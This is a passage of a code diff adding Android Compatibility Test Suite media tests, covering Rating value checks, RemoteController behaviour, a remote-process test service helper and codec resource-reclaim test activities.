+        assertTrue(ratingThumbUp.isRated());
+
+        Rating ratingThumbDown = Rating.newThumbRating(/*thumbIsUp=*/ false);
+        assertEquals(RATING_THUMB_UP_DOWN, ratingThumbDown.getRatingStyle());
+        assertFalse(ratingThumbDown.isThumbUp());
+        assertTrue(ratingThumbDown.isRated());
+    }
+
+    @Test
+    public void testThumbRatingWithIllegalRatingValueGetters() {
+        Rating ratingThumbUp = Rating.newThumbRating(/*thumbIsUp=*/ true);
+        assertFalse(ratingThumbUp.hasHeart());
+        assertTrue(ratingThumbUp.getStarRating() < 0f);
+        assertTrue(ratingThumbUp.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidStylesReturnsNull() {
+        final int[] nonStarRatingStyles = new int[] { RATING_HEART, RATING_THUMB_UP_DOWN,
+                RATING_PERCENTAGE, RATING_NONE };
+        for (int nonStarRatingStyle : nonStarRatingStyles) {
+            assertNull(Rating.newStarRating(nonStarRatingStyle, 1.0f));
+        }
+    }
+
+    @Test
+    public void testNewStarRatingWithInvalidRatingValuesReturnsNull() {
+        assertNull(Rating.newStarRating(RATING_3_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, 4f));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_3_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_4_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, 5f));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_4_STARS, Float.NaN));
+
+        assertNull(Rating.newStarRating(RATING_5_STARS, -1.0f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, 6f));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.MAX_VALUE));
+        assertNull(Rating.newStarRating(RATING_5_STARS, Float.NaN));
+    }
+
+    @Test
+    public void testStarRating() {
+        final float starRatingValue = 1.5f;
+        final int[] starRatingStyles = new int[] { RATING_3_STARS, RATING_4_STARS, RATING_5_STARS};
+
+        for (int starRatingStyle : starRatingStyles) {
+            Rating starRating = Rating.newStarRating(starRatingStyle, starRatingValue);
+            assertNotNull(starRating);
+            assertEquals(starRatingStyle, starRating.getRatingStyle());
+            assertEquals(starRatingValue, starRating.getStarRating(), /*delta=*/ 0f);
+            assertTrue(starRating.isRated());
+        }
+    }
+
+    @Test
+    public void testStarRatingWithIllegalRatingValueGetters() {
+        Rating starRating = Rating.newStarRating(RATING_3_STARS, /*starValue=*/ 2.5f);
+        assertFalse(starRating.hasHeart());
+        assertFalse(starRating.isThumbUp());
+        assertTrue(starRating.getPercentRating() < 0f);
+    }
+
+    @Test
+    public void testNewPercentageRatingWithInvalidPercentValuesReturnsNull() {
+        final float[] invalidPercentValues = new float[] {-1.0f, 100.1f, 200f, 1000f,
+                Float.MAX_VALUE, Float.NaN};
+        for (float invalidPercentValue : invalidPercentValues) {
+            assertNull(Rating.newPercentageRating(invalidPercentValue));
+        }
+    }
+
+    @Test
+    public void testPercentageRating() {
+        final float[] percentValues = new float[] { 0.0f, 20.0f, 33.3f, 50.0f, 64.5f, 89.9f, 100f};
+        for (float percentValue : percentValues) {
+            Rating percentageRating = Rating.newPercentageRating(percentValue);
+            assertNotNull(percentageRating);
+            assertEquals(RATING_PERCENTAGE, percentageRating.getRatingStyle());
+            assertEquals(percentValue, percentageRating.getPercentRating(), /*delta=*/ 0f);
+            assertTrue(percentageRating.isRated());
+        }
+    }
+
+    @Test
+    public void testPercentageWithIllegalRatingValueGetters() {
+        Rating percentageRating = Rating.newPercentageRating(72.5f);
+        assertFalse(percentageRating.hasHeart());
+        assertFalse(percentageRating.isThumbUp());
+        assertTrue(percentageRating.getStarRating() < 0f);
+    }
+
+    @Test
+    public void testToStringDoesNotCrash() {
+        Rating rating = Rating.newHeartRating(/*hasHeart=*/ true);
+        rating.toString(); // This should not crash.
+    }
+
+    @Test
+    public void testParcelization() {
+        Parcel p = Parcel.obtain();
+        try {
+            Rating rating = Rating.newStarRating(RATING_4_STARS, 3.5f);
+            p.writeParcelable(rating, /*flags=*/ 0);
+            p.setDataPosition(0);
+
+            Rating ratingFromParcel = p.readParcelable(null);
+            assertNotNull(ratingFromParcel);
+            // TODO: Compare two rating using equals() when it is implemented.
+            assertEquals(rating.getRatingStyle(), ratingFromParcel.getRatingStyle());
+            assertEquals(rating.getStarRating(), ratingFromParcel.getStarRating(), 0f);
+        } finally {
+            p.recycle();
+        }
+    }
+
+    @Test
+    public void testCreatorNewArray() {
+        final int arrayLength = 5;
+        Rating[] ratingArrayInitializedWithNulls = Rating.CREATOR.newArray(arrayLength);
+        assertNotNull(ratingArrayInitializedWithNulls);
+        assertEquals(arrayLength, ratingArrayInitializedWithNulls.length);
+        for (Rating rating : ratingArrayInitializedWithNulls) {
+            assertNull(rating);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/RemoteControllerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/RemoteControllerTest.java
new file mode 100644
index 0000000..4eaa04a
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/RemoteControllerTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.Context;
+import android.media.RemoteController;
+import android.media.RemoteController.OnClientUpdateListener;
+import android.media.cts.NonMediaMainlineTest;
+import android.platform.test.annotations.AppModeFull;
+import android.test.InstrumentationTestCase;
+import android.test.UiThreadTest;
+import android.view.KeyEvent;
+import android.util.Log;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Tests for {@link RemoteController}.
+ */
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class RemoteControllerTest extends InstrumentationTestCase {
+
+    private static final Set<Integer> MEDIA_KEY_EVENT = new HashSet<Integer>();
+    static {
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PLAY);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PAUSE);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MUTE);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_HEADSETHOOK);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_STOP);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_NEXT);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_REWIND);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_RECORD);
+        MEDIA_KEY_EVENT.add(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
+    }
+
+    static OnClientUpdateListener listener = new OnClientUpdateListener() {
+            @Override
+            public void onClientChange(boolean clearing) {}
+            @Override
+            public void onClientPlaybackStateUpdate(int state) {}
+            @Override
+            public void onClientPlaybackStateUpdate(
+                int state, long stateChangeTimeMs, long currentPosMs, float speed) {}
+            @Override
+            public void onClientTransportControlUpdate(int transportControlFlags) {}
+            @Override
+            public void onClientMetadataUpdate(RemoteController.MetadataEditor metadataEditor) {}
+        };
+
+    private Context mContext;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getTargetContext();
+    }
+
+    private RemoteController createRemoteController() {
+        return new RemoteController(mContext, listener);
+    }
+
+    @UiThreadTest
+    public void testGetEstimatedMediaPosition() {
+        assertTrue(createRemoteController().getEstimatedMediaPosition() < 0);
+    }
+
+    @UiThreadTest
+    public void testSendMediaKeyEvent() {
+        RemoteController remoteController = createRemoteController();
+        for (Integer mediaKeyEvent : MEDIA_KEY_EVENT) {
+            assertFalse(remoteController.sendMediaKeyEvent(
+                  new KeyEvent(KeyEvent.ACTION_DOWN, mediaKeyEvent)));
+        }
+    }
+
+    @UiThreadTest
+    public void testSeekTo_negativeValues() {
+        try {
+            createRemoteController().seekTo(-1);
+            fail("timeMs must be >= 0");
+        } catch (IllegalArgumentException expected) {}
+    }
+
+    @UiThreadTest
+    public void testSeekTo() {
+        assertTrue(createRemoteController().seekTo(0));
+    }
+
+    @UiThreadTest
+    public void testSetArtworkConfiguration() {
+        assertTrue(createRemoteController().setArtworkConfiguration(1, 1));
+    }
+
+    @UiThreadTest
+    public void testClearArtworkConfiguration() {
+        assertTrue(createRemoteController().clearArtworkConfiguration());
+    }
+
+    @UiThreadTest
+    public void testSetSynchronizationMode_unregisteredRemoteController() {
+        RemoteController remoteController = createRemoteController();
+        assertFalse(remoteController.setSynchronizationMode(
+                RemoteController.POSITION_SYNCHRONIZATION_NONE));
+        assertFalse(remoteController.setSynchronizationMode(
+                RemoteController.POSITION_SYNCHRONIZATION_CHECK));
+    }
+
+    @UiThreadTest
+    public void testEditMetadata() {
+        assertNotNull(createRemoteController().editMetadata());
+    }
+
+    @UiThreadTest
+    public void testOnClientUpdateListenerUnchanged() throws Exception {
+        Map<String, List<Method>> methodMap = new HashMap<String, List<Method>>();
+        for (Method method : listener.getClass().getDeclaredMethods()) {
+          if (!methodMap.containsKey(method.getName())) {
+              methodMap.put(method.getName(), new ArrayList<Method>());
+          }
+          methodMap.get(method.getName()).add(method);
+        }
+
+        for (Method method : OnClientUpdateListener.class.getDeclaredMethods()) {
+            assertTrue("Method not found: " + method.getName(),
+                    methodMap.containsKey(method.getName()));
+            List<Method> implementedMethodList = methodMap.get(method.getName());
+            assertTrue("Method signature changed: " + method,
+                    matchMethod(method, implementedMethodList));
+        }
+    }
+
+    private static boolean matchMethod(Method method, List<Method> potentialMatches) {
+        for (Method potentialMatch : potentialMatches) {
+            if (method.getName().equals(potentialMatch.getName()) &&
+                    method.getReturnType().equals(potentialMatch.getReturnType()) &&
+                            Arrays.equals(method.getTypeParameters(),
+                                    potentialMatch.getTypeParameters())) {
+                return true;
+            }
+        }
+        return false;
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/RemoteService.java b/tests/tests/media/misc/src/android/media/misc/cts/RemoteService.java
new file mode 100644
index 0000000..357d241
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/RemoteService.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.Closeable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Base class for a service that runs on a remote process. The service that extends this class must
+ * be added to AndroidManifest.xml with "android:process" attribute to be run on a separate process.
+ */
+public abstract class RemoteService extends Service {
+    private static final String TAG = "RemoteService";
+    public static final long TIMEOUT_MS = 10_000;
+
+    private RemoteServiceStub mBinder;
+    private HandlerThread mHandlerThread;
+    private volatile Handler mHandler;
+
+    @Override
+    public void onCreate() {
+        mBinder = new RemoteServiceStub();
+        mHandlerThread = new HandlerThread(TAG);
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+    }
+
+    @Override
+    public void onDestroy() {
+        mHandlerThread.quitSafely();
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+
+    /**
+     * Called by {@link Invoker#run}. It will be run on a dedicated {@link HandlerThread}.
+     *
+     * @param testId id of the test case
+     * @param step the step of a command to run
+     * @param args optional arguments
+     * @throws Exception if any
+     */
+    public abstract void onRun(int testId, int step, @Nullable Bundle args) throws Exception;
+
+    private boolean runOnHandlerSync(TestRunnable runnable) {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicReference<Throwable> throwable = new AtomicReference<>();
+        mHandler.post(() -> {
+            try {
+                runnable.run();
+            } catch (Throwable th) {
+                throwable.set(th);
+                Log.e(TAG, "Error while running TestRunnable", th);
+            }
+            latch.countDown();
+        });
+        try {
+            boolean done = latch.await(TIMEOUT_MS, MILLISECONDS);
+            return done && throwable.get() == null;
+        } catch (InterruptedException ex) {
+            Log.w(TAG, ex);
+            return false;
+        }
+    }
+
+    private interface TestRunnable {
+        void run() throws Exception;
+    }
+
+    private class RemoteServiceStub extends IRemoteService.Stub {
+        @Override
+        public boolean run(int testId, int step, Bundle args) throws RemoteException {
+            return runOnHandlerSync(() -> onRun(testId, step, args));
+        }
+    }
+
+    /**
+     * A class to run commands on a {@link RemoteService} for a test case.
+     */
+    public static class Invoker implements Closeable {
+        private static final String ASSERTION_MESSAGE =
+                "Failed on remote service. See logcat TAG=" + TAG + " for detail.";
+
+        private final Context mContext;
+        private final int mTestId;
+        private final CountDownLatch mConnectionLatch;
+        private final ServiceConnection mServiceConnection;
+        private IRemoteService mBinder;
+
+        /**
+         * Creates an instance and connects to the remote service.
+         *
+         * @param context the context
+         * @param serviceClass the class of remote service
+         * @param testId id of the test case
+         * @throws InterruptedException if the thread is interrupted while waiting for connection
+         */
+        public Invoker(@NonNull Context context,
+                @NonNull Class<? extends RemoteService> serviceClass, int testId)
+                throws InterruptedException {
+            mContext = context;
+            mTestId = testId;
+            mConnectionLatch = new CountDownLatch(1);
+            mServiceConnection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                    mBinder = IRemoteService.Stub.asInterface(service);
+                    mConnectionLatch.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                    mBinder = null;
+                }
+            };
+
+            Intent intent = new Intent(mContext, serviceClass);
+            mContext.bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
+            assertTrue("Failed to bind to service " + serviceClass,
+                    mConnectionLatch.await(TIMEOUT_MS, MILLISECONDS));
+        }
+
+        /**
+         * Disconnects from the remote service.
+         */
+        @Override
+        public void close() {
+            mContext.unbindService(mServiceConnection);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service without optional arguments.
+         *
+         * @param step the step of a command to run
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step) throws RemoteException {
+            run(step, null);
+        }
+
+        /**
+         * Invokes {@link #onRun} on the remote service.
+         *
+         * @param step the step of a command to run
+         * @param args optional arguments
+         * @throws RemoteException if binder throws exception
+         */
+        public void run(int step, @Nullable Bundle args) throws RemoteException {
+            assertTrue(ASSERTION_MESSAGE, mBinder.run(mTestId, step, args));
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerStubActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerStubActivity.java
new file mode 100644
index 0000000..1503cd1
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerStubActivity.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import junit.framework.Assert;
+
+public class ResourceManagerStubActivity extends Activity {
+    private static final String TAG = "ResourceManagerStubActivity";
+    private final Object mFinishEvent = new Object();
+    private int[] mRequestCodes = {0, 1};
+    private boolean[] mResults = {false, false};
+    private int mNumResults = 0;
+    private int mType1 = ResourceManagerTestActivityBase.TYPE_NONSECURE;
+    private int mType2 = ResourceManagerTestActivityBase.TYPE_NONSECURE;
+    private boolean mWaitForReclaim = true;
+
+    private static final String ERROR_INSUFFICIENT_RESOURCES =
+            "* Please check if the omx component is returning OMX_ErrorInsufficientResources " +
+            "properly when the codec failure is due to insufficient resource.\n";
+    private static final String ERROR_SUPPORTS_MULTIPLE_SECURE_CODECS =
+            "* Please check if this platform supports multiple concurrent secure codec " +
+            "instances. If not, please add below setting in /etc/media_codecs.xml in order " +
+            "to pass the test:\n" +
+            "    <Settings>\n" +
+            "       <Setting name=\"supports-multiple-secure-codecs\" value=\"false\" />\n" +
+            "    </Settings>\n";
+    private static final String ERROR_SUPPORTS_SECURE_WITH_NON_SECURE_CODEC =
+            "* Please check if this platform supports co-exist of secure and non-secure codec. " +
+            "If not, please add below setting in /etc/media_codecs.xml in order to pass the " +
+            "test:\n" +
+            "    <Settings>\n" +
+            "       <Setting name=\"supports-secure-with-non-secure-codec\" value=\"false\" />\n" +
+            "    </Settings>\n";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "Activity " + requestCode + " finished with resultCode " + resultCode);
+        mResults[requestCode] = (resultCode == RESULT_OK);
+        if (++mNumResults == mResults.length) {
+            synchronized (mFinishEvent) {
+                mFinishEvent.notify();
+            }
+        }
+    }
+
+    public void testReclaimResource(int type1, int type2) throws InterruptedException {
+        mType1 = type1;
+        mType2 = type2;
+        if (type1 != ResourceManagerTestActivityBase.TYPE_MIX && type1 != type2) {
+            // in this case, activity2 may not need to reclaim codec from activity1.
+            mWaitForReclaim = false;
+        } else {
+            mWaitForReclaim = true;
+        }
+        Thread thread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    Context context = getApplicationContext();
+                    Intent intent1 = new Intent(context, ResourceManagerTestActivity1.class);
+                    intent1.putExtra("test-type", mType1);
+                    intent1.putExtra("wait-for-reclaim", mWaitForReclaim);
+                    startActivityForResult(intent1, mRequestCodes[0]);
+                    Thread.sleep(5000);  // wait for process to launch and allocate all codecs.
+
+                    Intent intent2 = new Intent(context, ResourceManagerTestActivity2.class);
+                    intent2.putExtra("test-type", mType2);
+                    startActivityForResult(intent2, mRequestCodes[1]);
+
+                    synchronized (mFinishEvent) {
+                        mFinishEvent.wait();
+                    }
+                } catch(Exception e) {
+                    Log.d(TAG, "testReclaimResource got exception " + e.toString());
+                }
+            }
+        };
+        thread.start();
+        thread.join(20000 /* millis */);
+        System.gc();
+        Thread.sleep(5000);  // give the gc a chance to release test activities.
+
+        boolean result = true;
+        for (int i = 0; i < mResults.length; ++i) {
+            if (!mResults[i]) {
+                Log.e(TAG, "Result from activity " + i + " is a fail.");
+                result = false;
+                break;
+            }
+        }
+        if (!result) {
+            String failMessage = "The potential reasons for the failure:\n";
+            StringBuilder reasons = new StringBuilder();
+            reasons.append(ERROR_INSUFFICIENT_RESOURCES);
+            if (mType1 != mType2) {
+                reasons.append(ERROR_SUPPORTS_SECURE_WITH_NON_SECURE_CODEC);
+            }
+            if (mType1 == ResourceManagerTestActivityBase.TYPE_MIX &&
+                    mType2 == ResourceManagerTestActivityBase.TYPE_SECURE) {
+                reasons.append(ERROR_SUPPORTS_MULTIPLE_SECURE_CODECS);
+            }
+            Assert.assertTrue(failMessage + reasons.toString(), result);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTest.java
new file mode 100644
index 0000000..5a9575f
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.ActivityInstrumentationTestCase2;
+
+import androidx.test.filters.SmallTest;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class ResourceManagerTest
+        extends ActivityInstrumentationTestCase2<ResourceManagerStubActivity> {
+
+    public ResourceManagerTest() {
+        super("android.media.misc.cts", ResourceManagerStubActivity.class);
+    }
+
+    private void doTestReclaimResource(int type1, int type2) throws Exception {
+        Bundle extras = new Bundle();
+        ResourceManagerStubActivity activity = launchActivity(
+                "android.media.misc.cts", ResourceManagerStubActivity.class, extras);
+        activity.testReclaimResource(type1, type2);
+        activity.finish();
+    }
+
+    public void testReclaimResourceNonsecureVsNonsecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_NONSECURE,
+                ResourceManagerTestActivityBase.TYPE_NONSECURE);
+    }
+
+    public void testReclaimResourceNonsecureVsSecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_NONSECURE,
+                ResourceManagerTestActivityBase.TYPE_SECURE);
+    }
+
+    public void testReclaimResourceSecureVsNonsecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_SECURE,
+                ResourceManagerTestActivityBase.TYPE_NONSECURE);
+    }
+
+    public void testReclaimResourceSecureVsSecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_SECURE,
+                ResourceManagerTestActivityBase.TYPE_SECURE);
+    }
+
+    public void testReclaimResourceMixVsNonsecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_MIX,
+                ResourceManagerTestActivityBase.TYPE_NONSECURE);
+    }
+
+    public void testReclaimResourceMixVsSecure() throws Exception {
+        doTestReclaimResource(ResourceManagerTestActivityBase.TYPE_MIX,
+                ResourceManagerTestActivityBase.TYPE_SECURE);
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity1.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity1.java
new file mode 100644
index 0000000..b1f1178
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity1.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+public class ResourceManagerTestActivity1 extends ResourceManagerTestActivityBase {
+    private static final int MAX_INSTANCES = 32;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        TAG = "ResourceManagerTestActivity1";
+
+        Log.d(TAG, "onCreate called.");
+        super.onCreate(savedInstanceState);
+        moveTaskToBack(true);
+
+        Bundle extras = getIntent().getExtras();
+        if (extras != null) {
+            mWaitForReclaim = extras.getBoolean("wait-for-reclaim", mWaitForReclaim);
+        }
+
+        if (allocateCodecs(MAX_INSTANCES) == MAX_INSTANCES) {
+            // haven't reached the limit with MAX_INSTANCES, no need to wait for reclaim exception.
+            mWaitForReclaim = false;
+        }
+
+        useCodecs();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity2.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity2.java
new file mode 100644
index 0000000..b725e62
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivity2.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+public class ResourceManagerTestActivity2 extends ResourceManagerTestActivityBase {
+    @Override
+    protected void onResume() {
+        TAG = "ResourceManagerTestActivity2";
+
+        Log.d(TAG, "onResume called.");
+        super.onResume();
+
+        int result = (allocateCodecs(1 /* max */) == 1) ? RESULT_OK : RESULT_CANCELED;
+        finishWithResult(result);
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivityBase.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivityBase.java
new file mode 100644
index 0000000..664fba4
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerTestActivityBase.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.util.Log;
+import java.io.IOException;
+import java.util.Vector;
+
+public class ResourceManagerTestActivityBase extends Activity {
+    public static final int TYPE_NONSECURE = 0;
+    public static final int TYPE_SECURE = 1;
+    public static final int TYPE_MIX = 2;
+
+    protected String TAG;
+    private static final int FRAME_RATE = 10;
+    private static final int IFRAME_INTERVAL = 10;  // 10 seconds between I-frames
+    private static final String MIME = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private Vector<MediaCodec> mCodecs = new Vector<MediaCodec>();
+
+    private class TestCodecCallback extends MediaCodec.Callback {
+        @Override
+        public void onInputBufferAvailable(MediaCodec codec, int index) {
+            Log.d(TAG, "onInputBufferAvailable " + codec.toString());
+        }
+
+        @Override
+        public void onOutputBufferAvailable(
+                MediaCodec codec, int index, MediaCodec.BufferInfo info) {
+            Log.d(TAG, "onOutputBufferAvailable " + codec.toString());
+        }
+
+        @Override
+        public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+            Log.d(TAG, "onError " + codec.toString() + " errorCode " + e.getErrorCode());
+        }
+
+        @Override
+        public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+            Log.d(TAG, "onOutputFormatChanged " + codec.toString());
+        }
+    }
+
+    private MediaCodec.Callback mCallback = new TestCodecCallback();
+
+    private MediaFormat getTestFormat(CodecCapabilities caps, boolean securePlayback) {
+        VideoCapabilities vcaps = caps.getVideoCapabilities();
+        int width = vcaps.getSupportedWidths().getLower();
+        int height = vcaps.getSupportedHeightsFor(width).getLower();
+        int bitrate = vcaps.getBitrateRange().getLower();
+
+        MediaFormat format = MediaFormat.createVideoFormat(MIME, width, height);
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        format.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, securePlayback);
+        return format;
+    }
+
+    private MediaCodecInfo getTestCodecInfo(boolean securePlayback) {
+        // Use avc decoder for testing.
